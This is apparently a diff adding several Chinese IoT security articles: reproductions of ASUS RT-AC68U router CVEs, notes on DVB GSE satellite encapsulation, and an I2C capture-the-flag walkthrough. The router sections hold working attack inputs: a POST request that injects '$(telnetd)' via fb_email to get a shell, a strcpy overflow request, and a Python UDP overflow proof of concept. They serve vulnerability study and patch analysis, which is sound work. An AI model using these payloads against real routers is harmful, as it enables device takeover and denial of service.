Description:Stack-based buffer overflow on the ASUS GT-AC5300 router through 3.0.0.4.384_32738 allows remote attackers to cause a denial of service (device crash) or possibly have unspecified other impact by setting a long sh_path0 value and then sending an appGet.cgi?hook=select_list("Storage_x_SharedPath") request, because ej_select_list in router/httpd/web.c uses strcpy.
|
||||
```
|
||||
|
||||
select_list()内使用strcpy,造成栈溢出。
|
||||
|
||||
### CVE-2018-17020
|
||||
|
||||
拒绝服务攻击,没什么好说的。
|
||||
|
||||
### CVE-2018-17021
|
||||
|
||||
这个XSS应该和CVE-2018-1470是同一个。
|
||||
|
||||
### CVE-2018-17022
|
||||
|
||||
在/appGet.cgi中设置hook=select_list("Storage_x_SharedPath")请求,通过里面的strcpy造成溢出。
|
||||
|
||||
```
|
||||
http://192.168.1.1/appGet.cgi?hook=select_list("Storage_x_SharedPath")
|
||||
```
|
||||
|
||||
这个漏洞在AC68U中实际没有select_list这个接口,不过在ac3200中倒是存在这个接口的漏洞。
|
||||
|
||||
```c++
|
||||
char v24[64]; // [sp+8h] [bp-F8h] BYREF
|
||||
char s[64]; // [sp+48h] [bp-B8h] BYREF
|
||||
char dest[64]; // [sp+88h] [bp-78h] BYREF
|
||||
......
|
||||
if ( !strcmp(args, "Storage_x_SharedPath") )
|
||||
{
|
||||
v7 = nvram_get_int("sh_path_x");
|
||||
sprintf(v27, "%d", v7);
|
||||
v8 = sub_12164("sh_path", (int)v27, s);
|
||||
sh_path = (const char *)nvram_get(v8); //获取sh_path
|
||||
strcpy(v24, sh_path); //存在栈溢出风险
|
||||
strcpy(dest, v24);
|
||||
v10 = fprintf(wp, dest);
|
||||
LABEL_9:
|
||||
v5 = v10;
|
||||
fflush(wp);
|
||||
return v5;
|
||||
}
|
||||
```
|
||||
|
||||
### 小结
|
||||
|
||||
因为修复时间线的问题,这三个漏洞在AC68U上没有很强烈的体现。
|
||||
@@ -0,0 +1,284 @@
|
||||
# 华硕RT-AC68U系列漏洞复现(二)
|
||||
> buggart
|
||||
> 来源:https://www.iotsec-zone.com/article/53
|
||||
|
||||
# 华硕RT-AC68U漏洞复现(二):384-45708 ——hvidwp
|
||||
|
||||
# 漏洞复现第二站:384-45708
|
||||
|
||||
```
|
||||
版本 3.0.0.4.384.45708
|
||||
|
||||
2019/03/29 39.76 MBytes
|
||||
|
||||
ASUS RT-AC68U 固件版本3.0.0.4.384.45708
|
||||
安全性修正
|
||||
- 修正 CVE-2018-20334
|
||||
- 修正 CVE-2018-20336
|
||||
- 修正 null pointer 问题. 感谢 CodeBreaker of STARLabs
|
||||
- 修正 AiCloud 缓冲区溢位漏洞 感谢Resecurity International
|
||||
|
||||
问题修正
|
||||
- 修正路由器使用 IPv6 WAN 时的 AiMesh LAN IP 问题
|
||||
- 修正AiMesh 连线问题
|
||||
- 修正网路地图相关问题
|
||||
- 修正Download Master 图示消失问题
|
||||
- 修正当启用Samba 服务时LAN PC 无法在网路芳邻找到路由器之问题
|
||||
- 修正LAN LED 灯号不显示问题
|
||||
|
||||
请先将档案解压缩後再用原始固件档案进行MD5确认
|
||||
|
||||
MD5: ce1dc4c44b042a452ff368c20ae0dc53
|
||||
|
||||
```
|
||||
|
||||
CVE官网:
|
||||
|
||||
```
|
||||
CVE-ID:CVE-2018-20334
|
||||
Description:An issue was discovered in ASUSWRT 3.0.0.4.384.20308. When processing the /start_apply.htm POST data, there is a command injection issue via shell metacharacters in the fb_email parameter. By using this issue, an attacker can control the router and get shell.
|
||||
|
||||
```
|
||||
|
||||
处理/start_apply.htm post数据时,fb_email参数中的shell元字符有一个命令注入问题。 通过使用此问题,攻击者可以控制路由器并获取shell。
|
||||
|
||||
```
|
||||
CVE-ID:CVE-2018-20336
|
||||
Description:An issue was discovered in ASUSWRT 3.0.0.4.384.20308. There is a stack-based buffer overflow issue in parse_req_queries function in wanduck.c via a long string over UDP, which may lead to an information leak.
|
||||
|
||||
```
|
||||
|
||||
wanduck.c文件的‘parse_req_queries’函数存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。
|
||||
|
||||
## CVE-2018-20334
|
||||
|
||||
访问/start_apply.htm,在处理POST数据时,存在命令注入问题,fb_email参数中的shell可以注入。
|
||||
|
||||
通过一下post包可以在受影响的路由器上启动telnetd:
|
||||
|
||||
```
|
||||
POST /start_apply.htm HTTP/1.1
|
||||
Host: 192.168.1.1
|
||||
Content-Length: 557
|
||||
Cache-Control: max-age=0
|
||||
Origin: http://192.168.50.1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
DNT: 1
|
||||
Referer: http://192.168.1.1/Advanced_Feedback.asp
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
|
||||
Cookie: asus_token=jrPgm5H7TNyhlpOT2CUonTvPLBX3zVc; clickedItem_tab=6
|
||||
Connection: close
|
||||
|
||||
preferred_lang=CN¤t_page=Advanced_Feedback.asp&action_mode=apply&action_script=restart_sendmail&action_wait=60&PM_attach_syslog=0&PM_attach_cfgfile=0&PM_attach_iptables=&PM_attach_modemlog=0&PM_attach_wlanlog=0&feedbackresponse=&fb_experience=&fb_browserInfo=Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F64.0.3282.186+Safari%2F537.36&fb_transid=E7B1B39C7A501054&fb_country=eee&fb_email=test%40test.com|$(telnetd)&dblog_enable=0&fb_ptype=No_selected&fb_pdesc=others&fb_comment=trwetwe3r&msglength=1991
|
||||
```
|
||||
|
||||
在http的处理流程中,会在except_mime_handlers列表中进行匹配,其中包含了一些访问的cgi和asp,对应有设置flag。
|
||||
|
||||
```
|
||||
for ( exhandler = except_mime_handlers; exhandler->pattern; ++exhandler )
|
||||
{
|
||||
if ( match_url(exhandler->pattern, url) )
|
||||
{
|
||||
mime_exception = exhandler->flag; // 如果和except_mime中的匹配上了,则设置flag
|
||||
goto LABEL_113;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
start_apply.htm也包含在这个列表中。
|
||||
|
||||
```
|
||||
.data:0004D804 except_mime_handlers except_mime_handler <aStartApplyHtm, 1>; 0
|
||||
.data:0004D804 ; DATA XREF: handle_request:loc_DC20↑o
|
||||
.data:0004D804 ; handle_request:loc_DC40↑r ...
|
||||
.data:0004D804 except_mime_handler <aStartApply2Htm, 1>; 1 ; "applyapp.cgi" ...
|
||||
.data:0004D804 except_mime_handler <aApiAsp, 1>; 2
|
||||
......
|
||||
|
||||
.data:0004D804 ; .data ends
|
||||
```
|
||||
|
||||
之后在对应mime_handlers中寻找对应的handler。
|
||||
|
||||
```
|
||||
for ( handler = mime_handlers; ; ++handler )
|
||||
{
|
||||
if ( !handler->pattern )
|
||||
goto LABEL_223;
|
||||
if ( match_url(handler->pattern, url) )
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
````
|
||||
.data:0004CFB0 mime_handlers mime_handler <aMainLoginAsp, aTextHtml, aCacheControlNo_0, \
|
||||
.data:0004CFB0 ; DATA XREF: handle_request:loc_DC80↑o
|
||||
.data:0004CFB0 ; handle_request:off_E354↑o ...
|
||||
.data:0004CFB0 do_html_post_an_get, do_ej, 0>; 0 ; "text/html" ...
|
||||
.data:0004CFB0 mime_handler <aNologinAsp, aTextHtml, aCacheControlNo_0, \
|
||||
.data:0004CFB0 do_html_post_an_get, do_ej, 0>; 1
|
||||
......
|
||||
aCacheControlNo_0, \
|
||||
.data:0004CFB0 do_html_post_an_get, do_ej, 0>; 26
|
||||
.data:0004CFB0 mime_handler <aXml, aTextXml, aCacheControlNo_0, do_html_post_an_get, \
|
||||
.data:0004CFB0 do_ej, do_auth>; 27
|
||||
.data:0004CFB0 mime_handler <aHtm, aTextHtml, aCacheControlNo_0, do_html_post_an_get,\
|
||||
.data:0004CFB0 do_ej, do_auth>; 28
|
||||
````
|
||||
|
||||
之后.htm的output函数匹配到do_ej,在该函数中调用Advanced_Feedback.asp。
|
||||
|
||||
````
|
||||
} else if (postproc == 2) { // execute asp
|
||||
p = (asp + strlen (asp_mark1), asp_end, stream);
|
||||
if (p != NULL) {
|
||||
asp = strstr (p, asp_mark1);
|
||||
}
|
||||
````
|
||||
|
||||
在解开的固件文件系统中使用grep -r 搜索 "fb_email"字符串。
|
||||
|
||||
```
|
||||
root@ubuntu:/home/.../squashfs-root# grep -r "fb_email"
|
||||
Binary file usr/lib/libshared.so matches
|
||||
www/Advanced_Feedback.asp:document.form.fb_email.disabled = "true";
|
||||
www/Advanced_Feedback.asp:document.form.fb_email.disabled = "";
|
||||
www/Advanced_Feedback.asp:if(document.form.fb_email.value == ""){
|
||||
www/Advanced_Feedback.asp:document.form.fb_email.focus();
|
||||
www/Advanced_Feedback.asp:if(!isEmail(document.form.fb_email.value)){
|
||||
www/Advanced_Feedback.asp:document.form.fb_email.focus();
|
||||
www/Advanced_Feedback.asp:<input type="text" name="fb_email" maxlength="50" class="input_25_table" value="" autocorrect="off" autocapitalize="off">
|
||||
Binary file sbin/rc matches
|
||||
```
|
||||
|
||||
发包之后,telnet上设备,nvram get "fb_email"可以看到fb_email的值。
|
||||
|
||||
```
|
||||
admin@(none):/# nvram show | grep "fb_email"
|
||||
size: 55431 bytes (10105 left)
|
||||
fb_email_dbg=
|
||||
[email protected]|$(telnetd)
|
||||
fb_email_provider=
|
||||
```
|
||||
|
||||
可以看到,此时环境变量中fb_email的值已经改变,设备中rc会启一个监听程序进行进一步处理。
|
||||
|
||||
在rc中会将productid,fb_email,log_path,fb_email_dbg等拼接命令交给system执行,从而实现命令注入。
|
||||
|
||||
```
|
||||
productid = (const char *)get_productid(v7); fb_email_1 = nvram_safe_get((int)"fb_email"); if ( sub_8F5D8("fb_email_dbg", &byte_C4F21) ) fb_email_dbg = (char *)&unk_E55DC; else fb_email_dbg = nvram_safe_get((int)"fb_email_dbg"); sprintf( s, "cat %s | /usr/sbin/email -c %s -s \"%s feedback from %s\" %s %s", "/tmp/xdslissuestracking", "/tmp/var/tmp/data", productid, fb_email_1, log_path, fb_email_dbg); system(s);
|
||||
```
|
||||
|
||||
在新的固件中,通过正则表达式严格过滤fb_email为邮箱格式,从而修复该漏洞。
|
||||
|
||||
````
|
||||
fb_email_value = safe_get_cgi_json( (int) "fb_email", v33, v5 ); ... ... v18 = regcomp( &preg, "^\\w+([-+.]\\w+)*@\\w+([-.]\\w+)*.\\w+([-.]\\w+)*$", 1 ); if ( v18 )
|
||||
{
|
||||
dbg( "%s: Failed to compile the regular expression:%d\n", "validate_email_address", v18 );
|
||||
} else{ v19 = regexec( &preg, fb_email_value, 0, 0, 0 ); if ( v19 == 1 )
|
||||
{
|
||||
dbg( "No Match\n" );
|
||||
} else if ( !v19 )
|
||||
{
|
||||
v18 = 1; dbg( "Match\n" );
|
||||
}
|
||||
````
|
||||
|
||||
## CVE-2018-20336
|
||||
|
||||
在wanduck.c文件的‘parse_req_queries’函数存在缓冲区错误漏洞。
|
||||
|
||||
验真poc
|
||||
|
||||
```python
|
||||
from socket import *
|
||||
HOST = '192.168.50.1'
|
||||
PORT = 18018
|
||||
BUFSIZE = 4096
|
||||
ADDR = (HOST, PORT)
|
||||
udpCliSock = socket(AF_INET, SOCK_DGRAM)
|
||||
data = "A"*2046+"\x00F"udpCliSock.sendto(data,ADDR)
|
||||
data,ADDR = udpCliSock.recvfrom(BUFSIZE)
|
||||
if data:
|
||||
print len(data)
|
||||
udpCliSock.close()
|
||||
```
|
||||
|
||||
Wanduck是一个侦听TCP 18017和UDP 18018的程序。端口18017可能是HTTP服务器,而18018很可能是DNS服务器。18017端口的HTTP服务器将HTTP请求重定向到80端口。DNS服务器将处理DNS请求包。
|
||||
|
||||
该文件wanduck.c在ASUSWRT源码的src/rc目录下可以找到。主程序的入口是函数wanduck_main,run_dns_serv函数是从18018端口接收数据包的入口。
|
||||
|
||||
源码为:
|
||||
|
||||
```c++
|
||||
void run_dns_serv( int sockfd )
|
||||
{
|
||||
int n; char line[MAXLINE];
|
||||
struct sockaddr_in cliaddr;
|
||||
int clilen = sizeof(cliaddr);
|
||||
memset( line, 0, MAXLINE );
|
||||
memset( &cliaddr, 0, clilen );
|
||||
if ( (n = recvfrom( sockfd, line, MAXLINE, 0, (struct sockaddr *) &cliaddr, (socklen_t *) &clilen ) ) == 0 ) /* client close */
|
||||
return;
|
||||
else if ( n < 0 )
|
||||
{
|
||||
perror( "wanduck serv dns" );
|
||||
return;
|
||||
}else handle_dns_req( sockfd, line, n, (struct sockaddr *) &cliaddr, clilen );
|
||||
}
|
||||
```
|
||||
|
||||
MAXLINE在wanduck.h中定义值为2048,因此该函数首先从发送方接受2048字节的最大缓冲区,然后调用handle_dns_req处理dns请求包,在handle_dns_req函数的开头定义了变量reply_content,如下所示:
|
||||
|
||||
````c++
|
||||
void handle_dns_req( int sfd, char *line, int maxlen, struct sockaddr *pcliaddr, int clen )
|
||||
{
|
||||
dns_query_packet d_req; dns_response_packet d_reply; int reply_size; char reply_content[MAXLINE];
|
||||
}
|
||||
````
|
||||
|
||||
在这里reply_content被设计为最大大小为2048字节,在handle_dns_req中初始化进程后,dns请求包将传递给parse_req_queries函数,该函数接受4个参数。
|
||||
|
||||
```
|
||||
char *content, 代表回复(DNS响应)内容
|
||||
char *lp, 代表 DNS 问题部分
|
||||
int len, 代表 DNS Question 部分的长度(最多 2048-len(dns request header)) int *reply_size, 指向回复包大小的指针
|
||||
```
|
||||
|
||||
源码为:
|
||||
|
||||
```c++
|
||||
void parse_req_queries( char *content, char *lp, int len, int *reply_size )
|
||||
{
|
||||
int i, rn; rn = *(reply_size); for ( i = 0; i < len; ++i )
|
||||
{
|
||||
content[rn + i] = lp[i]; if ( lp[i] == 0 )
|
||||
{
|
||||
++i; break;
|
||||
}
|
||||
}
|
||||
if ( i >= len )
|
||||
return;
|
||||
content[rn + i] = lp[i]; content[rn + i + 1] = lp[i + 1]; content[rn + i + 2] = lp[i + 2]; content[rn + i + 3] = lp[i + 3]; i += 4; *reply_size += i;
|
||||
}
|
||||
```
|
||||
|
||||
很明显,函数中存在栈溢出:假设***lp***缓冲区倒数第二个存在NULL(\x00) ,那么***for***循环结束,***i***加1。有判断检查***i***是否大于***len***,但这个检查是不够的。假设***i***等于***len-1***,则将执行以下代码:
|
||||
|
||||
````c++
|
||||
content[rn+i] = lp[i];content[rn+i+1] = lp[i+1];content[rn+i+2] = lp[i+2];content[rn+i+3] = lp[i+3];i += 4;*reply_size += i;
|
||||
````
|
||||
|
||||
正如我们所说,***rn***指向回复包大小和这个值,在这种情况下,传递给这个函数的***rn***是 DNS 请求头的长度。然后,
|
||||
|
||||
````c++
|
||||
rn+i == rn+len-1rn+i+1==rn+lenrn+i+2==rn+len+1rn+i+3==rn+len+2i+4==len-1+4==len+3reply_size= len(dns_header)+len-1+4
|
||||
````
|
||||
|
||||
所以这会引起Out of bound write问题,而且,这也会造成信息泄漏,因为reply_size大于0x800(2048)字节。
|
||||
|
||||
创作不易,师傅们,点个赞再走吧!
|
||||
@@ -0,0 +1,116 @@
|
||||
# 卫星通信GSE封装解析
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/23
|
||||
|
||||
## GSE介绍
|
||||
|
||||
卫星通信近几年逐渐火热,目前的低轨卫星通信大多数采用欧盟ETSI的数字卫星电视广播标准(DVB-S/DVB-S2 /S2X)并做改进。而通常它们用通用流封装,因此,在卫星安全的研究中,对一些数据的解析需要对GSE封装协议有所了解,所以笔者近期对官方文档阅读并做出一些笔记。
|
||||
|
||||
通用流封装(GSE)协议可以在物理层对IP和其他网络层数据封装,在通用流上提供网络层数据包封装和分片功能。GSE 不仅可以灵活的分片和封装,而且能使用智能调度器来优化系统性能。不仅如此还:
|
||||
|
||||
- 支持多协议封装(IPv4、IPv6、MPEG、ATM、以太网、802.1pQ VLANs 等)。
|
||||
- 对网络层功能的透明性。
|
||||
- 支持多种寻址模式。
|
||||
- 可扩展性
|
||||
|
||||
## 封装方法
|
||||
|
||||
PDU(协议数据单元)可以封装在一个GSE包中,也可以分成片段封装成几个GSE包。而GSE包的长度是动态可变的。GSE包可在不同基带桢中发送,基带桢长度是可变的。GSE没有独自的完整性校验机制。通常一段数据碎片化变成几个PDU片段,在最后一段加CRC-32。如图是DVB协议的GSE封装:
|
||||
|
||||

|
||||
|
||||
GSE包的头由固定长度(2bytes)和可变长度组成(0-11bytes)。固定长度主要有S 、E 、LT 、GSE Length等字段,可变部分主要是Fragment ID、Total Length、Protocol Type和Label等字段。如下图:
|
||||
|
||||

|
||||
|
||||
每个GS流可存放最多256个PDU碎片,每个GSE数据包的头有一个开始指示位(S)和结束指示位(E),开始指示位为“1”表示PDU开始,结束指示位为“1”表示PDU结束。如果都为1表示是一个完整的PDU。
|
||||
|
||||
而接下来有两位标签类型指示(主要用于寻址)。标签存在时,接收者可以删去标签不匹配的数据包。当为广播包时,接收者都应该处理该数据包。标签重复时,只有上一个GSE包的地址与现在匹配,接收者才去处理。所以标签重复主要用于同一个基带桢中。
|
||||
|
||||

|
||||
|
||||
接下来12位表示GSE包长度,最大2^12(4kb)。注:End包最后包含CRC-32。
|
||||
|
||||
Fragment ID只会在中间包出现,同一个PDU的GSE包有相同的ID。所以只有一个PDU传输完成,才可以有另一个PDU使用这个ID。
|
||||
|
||||
- 含有同一PDU数据的GSE包必须用相同Frag ID
|
||||
- 第一个 GSE 数据包的 S 位应等于 "1",E 位等于 "0"。
|
||||
- 中间PDU片段 S 位和 E 位等于 "0"。
|
||||
- 最后一个 GSE 数据包的 S 位应等于 "0",E 位等于 "1"。
|
||||
- 一个 PDU 没穿完,它的 Frag ID 不得重复使用。
|
||||
- 具有相同片段 ID 的 GSE 数据包必须按顺序传输。
|
||||
|
||||
Total Length这个是保存PDU的总长度,所以通常在PDU碎片的第一个包中才有。总长度最高65536个字节,CRC-32不包含其中。
|
||||
|
||||
Protocol Type 0-0x5FF表示Next Header,0x600-0xFFFF表示 Ether Type。
|
||||
|
||||
## CRC-32
|
||||
|
||||
为了防止PDU包的数据丢失,所以在PDU最后一个GSE包放入一个32位的CRC字段。定义的CRC多项式为
|
||||
|
||||

|
||||
|
||||
初始累积器为0xFFFFFFFF。然后PDU的字节、总长度、协议类型、标签、扩展头等计算。
|
||||
|
||||
## 数据字段
|
||||
|
||||
Protocol Type定义了扩展头,扩展头属于数据的一部分,所以数据段的数据结构如下
|
||||
|
||||

|
||||
|
||||
- 如果有可选扩展头,跟在GSE头之后
|
||||
|
||||
- 如果有强制性扩展头,跟在可选扩展头之后
|
||||
|
||||
- PDU跟在强制扩展头之后。
|
||||
|
||||
上面三部分都不是必须有的。
|
||||
|
||||
## 解析流程图
|
||||
|
||||

|
||||
|
||||
## PDU分片
|
||||
|
||||
### 首包
|
||||
|
||||
- S 位设置1,E 位设置 0
|
||||
- GSE 长度设置为计算出的字节数(包括数据的长度和片段 ID 字段、总长度字段、协议类型字段、标签字段和任何扩展头等长度)。
|
||||
- 将 Frag ID 设置为一个任意值。
|
||||
- 总长度字段设置为计算出的字节数,(PDU、协议类型字段、标签字段和扩展头的长度。)
|
||||
- 添加一个协议类型。
|
||||
- 添加标签字段。(如果需要)
|
||||
- 放入第一段PDU碎片数据。
|
||||
- GSE包放入基带桢
|
||||
|
||||
### 中间包
|
||||
(如果PDU分为2个以上碎片时)
|
||||
|
||||
- S 位设置0,E 位设置 0
|
||||
- GSE 长度设置为计算出的字节数(包括数据的长度和片段 ID 字段长度)。
|
||||
- 将 Frag ID 设置为首包设置的值。
|
||||
- 放入一段PDU碎片数据。(按顺序放)
|
||||
- GSE包放入基带桢
|
||||
|
||||
### 尾包
|
||||
|
||||
- S 位设置0,E 位设置 1
|
||||
- GSE 长度设置为计算出的字节数(包括数据的长度和片段 ID 字段、CRC-32字段长度)。
|
||||
- 将 Frag ID 设置为首包设置的值。
|
||||
- 总长度字段设置为计算出的字节数,(PDU、协议类型字段、标签字段和扩展头的长度。)
|
||||
- 放入最后一段PDU碎片数据,并加上CRC-32值。
|
||||
- GSE包放入基带桢
|
||||
|
||||
## 封装器调度
|
||||
|
||||
GSE封装器中的调度器,在基带桢中是智能放置,以提高效率。
|
||||
|
||||
如下图,PDU1、PDU2 和 PDU3 构成一个 PDU 序列,由调度器预先排定。(MODCOD 表示PDU 相关的调制格式和编码率)如果 MODCOD2 的效率高于 MODCOD1 的效率,那么我们应该采取 MODCOD1 对应的才会更稳定。PDU 被封装并由 GSE 封装器排入基带帧。
|
||||
|
||||

|
||||
|
||||
当 PDU 被分割时,像上图 PDU2 ,剩余的 PDU 片段被封装在一个独立的 GSE 包中,在下一个基带帧中传输。如果没有利用智能调度策略,PDU2剩余的包与PDU3的包封装在同一个基带桢里。基带桢不得不降级。而如下图操作,能实现更好的系统效率。
|
||||
|
||||
## 参考
|
||||
|
||||
- 本文主要参考 ETSI 官方协议文档。
|
||||
@@ -0,0 +1,167 @@
|
||||
# 卫星黑客挑战赛 | IIC协议破解
|
||||
> yichen
|
||||
> 来源:https://www.iotsec-zone.com/article/431
|
||||
|
||||

|
||||
|
||||
题目环境见:
|
||||
|
||||
```
|
||||
https://github.com/yichen115/hackasat-qualifier-2020/tree/master/bus
|
||||
```
|
||||
|
||||
在搭建环境之前需要搭建一个基础环境,进入 generator-base 之后运行下列命令把基础的镜像生成出来,具体见之前的文章:HackaSat2020预选赛beckley
|
||||
|
||||
```
|
||||
docker build -t generator-base .
|
||||
```
|
||||
|
||||
然后进 bus 文件夹运行 make build 把环境搭建起来,然后运行下列命令环境就启动了
|
||||
|
||||
```
|
||||
socat -v tcp-listen:31340,reuseaddr exec:"docker run --rm -i -e SEED=1234 -e FLAG=flag{1234} bus\:challenge"
|
||||
```
|
||||
|
||||
然后 nc 172.17.0.1 31340 上去得到一堆奇怪的字符,题目描述:There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory... somewhere...
|
||||
|
||||

|
||||
|
||||
书上说的是通过搜索卫星常用总线协议报文格式确定了用的是 IIC,我就直接学吧,估计我搜到了也认不出来 2333
|
||||
|
||||
# IIC总线协议介绍
|
||||
|
||||
IIC 总线通信协议有两条线:一条叫 SDA 数据线,通过高低电平传送二进制数据;一条叫 SCL 时钟线,通过方波信号提供时钟信号。设备也是用两根线挂在总线上,每个设备都有自己的地址,来保证不同设备之间访问的准确性。总线上的通信都是由主设备发起,从设备被动响应。一般来说,谁控制着时钟线谁就作为主设备,同一时刻只能有一个主机。如果有两个或以上的设备同时请求总线,会通过冲突检测和冲裁防止总线数据被破坏
|
||||
|
||||

|
||||
|
||||
补充方波信号:
|
||||
|
||||

|
||||
|
||||
# IIC通信过程与格式
|
||||
通信的起始信号和终止信号都是由主设备发送的,起始信号发送之后跟一个 7bit 的从设备地址和 1bit 的方向位(方向位 0 表示主设备发送数据,1 表示主设备接受数据)也叫读/写位
|
||||
|
||||
每当主设备发送完一个字节的数据后需要等待从设备给出一个应答信号,来确认从设备是不是接收到了数据
|
||||
|
||||
# IIC主设备向从设备写数据过程
|
||||
|
||||
1、主设备发送起始信号(START)
|
||||
|
||||
2、主设备发送从设备地址和方向位 0
|
||||
|
||||
3、等待从设备响应(ACK)
|
||||
|
||||
4、主设备发送数据到从设备,一般每发送一个字节会等待从设备的响应(ACK)
|
||||
|
||||
5、数据发送完毕,主设备发送停止信号(STOP)
|
||||
|
||||
# IIC主设备从从设备读数据过程
|
||||
|
||||
1、主设备发送起始信号(START)
|
||||
|
||||
2、主设备发送从设备地址和方向位 1
|
||||
|
||||
3、等待从设备响应(ACK)
|
||||
|
||||
4、主设备接收来自从设备的数据,一般每接收一个字节会向从设备发送一个相应(ACK)
|
||||
|
||||
5、一般主设备接收到最后一个数据后会发送一个无效响应(NACK),然后主设备发送停止信号(STOP)
|
||||
|
||||
# 解题过程
|
||||
对输出数据简单的处理一下,发现是根据 ^ 和 . 来区分每一段数据的,那么 ^ 就是 IIC 的 START 信号,. 就是 IIC 的 STOP 信号
|
||||
|
||||
```
|
||||
^82+00+00+1f+00+00+00+12+47+40+41+c6+97+e1+3f+89+81+3f+c1+99+1d+a1+c0+20+18+a1+40+5e+42+ac+3c+.
|
||||
^83+00+00+3f+.
|
||||
^82+00+00+3f+00+00+00+20+fa+3f+41+c8+da+e2+3f+a6+64+3f+c1+ff+33+a1+c0+a4+d2+a0+40+de+50+55+40+.
|
||||
^b4+01+c9+61+20+30+33+00+f0+28+65+f5+e6+8f+3c+ba+5b+35+28+c7+5b+8f+6d+f3+ee+a2+57+23+bb+3b+9c+f0+31+a9+ed+80+2e+42+57+.
|
||||
^83+00+00+1f+.
|
||||
^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.
|
||||
^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.
|
||||
^83+00+00+3f+.
|
||||
^82+00+00+3f+00+00+00+da+81+3f+41+50+c7+e3+3f+9c+28+40+c1+77+df+a0+c0+44+1d+a0+40+7f+b7+52+40+.
|
||||
^b4+01+7e+5f+9a+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+90+2e+f3+7b+07+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+.
|
||||
^83+00+00+1f+.
|
||||
^82+00+00+1f+00+00+00+41+85+40+41+e2+7a+e1+3f+e8+28+40+c1+fc+50+a0+c0+6e+09+9f+40+57+8c+e9+3c+.
|
||||
..........
|
||||
```
|
||||
|
||||
START 信号结束后就跟着从设备地址和方向位了,可以看到只有三种情况 0x82、0x83、0xb4
|
||||
|
||||
| 第一字节 | 从设备地址 | 读/写位|
|
||||
|0x82 | 0x41 | 0 写|
|
||||
|0x83 | 0x41 | 1 读|
|
||||
|0xb4 | 0x5a | 0 写|
|
||||
|
||||
按照这个规则我们看一下,0x83 开头的读操作内容都很少,比如:^83+00+00+1f+. 这里面必然不能含有 flag,因此可以假设这里的读写操作是与 I2C 标准相反的,那我们来梳理一下每一步都是做了什么事情
|
||||
|
||||
| 第一字节 | 从设备地址 | 读/写位|
|
||||
|0x82 | 0x41 | 0 写|
|
||||
|0x83 | 0x41 | 1 读|
|
||||
|0xb4 | 0x5a | 0 写|
|
||||
|
||||
```
|
||||
从0x41读取:^82+00+00+1f+00+00+00+12+47+40+41+c6+97+e1+3f+89+81+3f+c1+99+1d+a1+c0+20+18+a1+40+5e+42+ac+3c+.
|
||||
向0x41写入:^83+00+00+3f+.
|
||||
从0x41读取:^82+00+00+3f+00+00+00+20+fa+3f+41+c8+da+e2+3f+a6+64+3f+c1+ff+33+a1+c0+a4+d2+a0+40+de+50+55+40+.
|
||||
从0x5a读取:^b4+01+c9+61+20+30+33+00+f0+28+65+f5+e6+8f+3c+ba+5b+35+28+c7+5b+8f+6d+f3+ee+a2+57+23+bb+3b+9c+f0+31+a9+ed+80+2e+42+57+.
|
||||
向0x41写入:^83+00+00+1f+.
|
||||
从0x41读取:^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.
|
||||
从0x41读取:^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.
|
||||
向0x41写入:^83+00+00+3f+.
|
||||
从0x41读取:^82+00+00+3f+00+00+00+da+81+3f+41+50+c7+e3+3f+9c+28+40+c1+77+df+a0+c0+44+1d+a0+40+7f+b7+52+40+.
|
||||
从0x5a读取:^b4+01+7e+5f+9a+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+90+2e+f3+7b+07+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+.
|
||||
向0x41写入:^83+00+00+1f+.
|
||||
从0x41读取:^82+00+00+1f+00+00+00+41+85+40+41+e2+7a+e1+3f+e8+28+40+c1+fc+50+a0+c0+6e+09+9f+40+57+8c+e9+3c+.
|
||||
从0x41读取:^82+00+00+1f+00+00+00+41+85+40+41+e2+7a+e1+3f+e8+28+40+c1+fc+50+a0+c0+6e+09+9f+40+57+8c+e9+3c+.
|
||||
向0x41写入:^83+00+00+3f+.
|
||||
从0x41读取:^82+00+00+3f+00+00+00+ce+79+3f+41+5e+35+e6+3f+5d+a7+3f+c1+4c+81+a0+c0+57+75+9f+40+0b+f3+50+40+.
|
||||
从0x5a读取:^b4+01+93+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+12+94+c7+59+78+58+87+6b+d3+8e+04+be+2a+47+d4+cc+f8+6e+6c+26+67+a6+98+5e+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+f0+28+65+.
|
||||
```
|
||||
|
||||
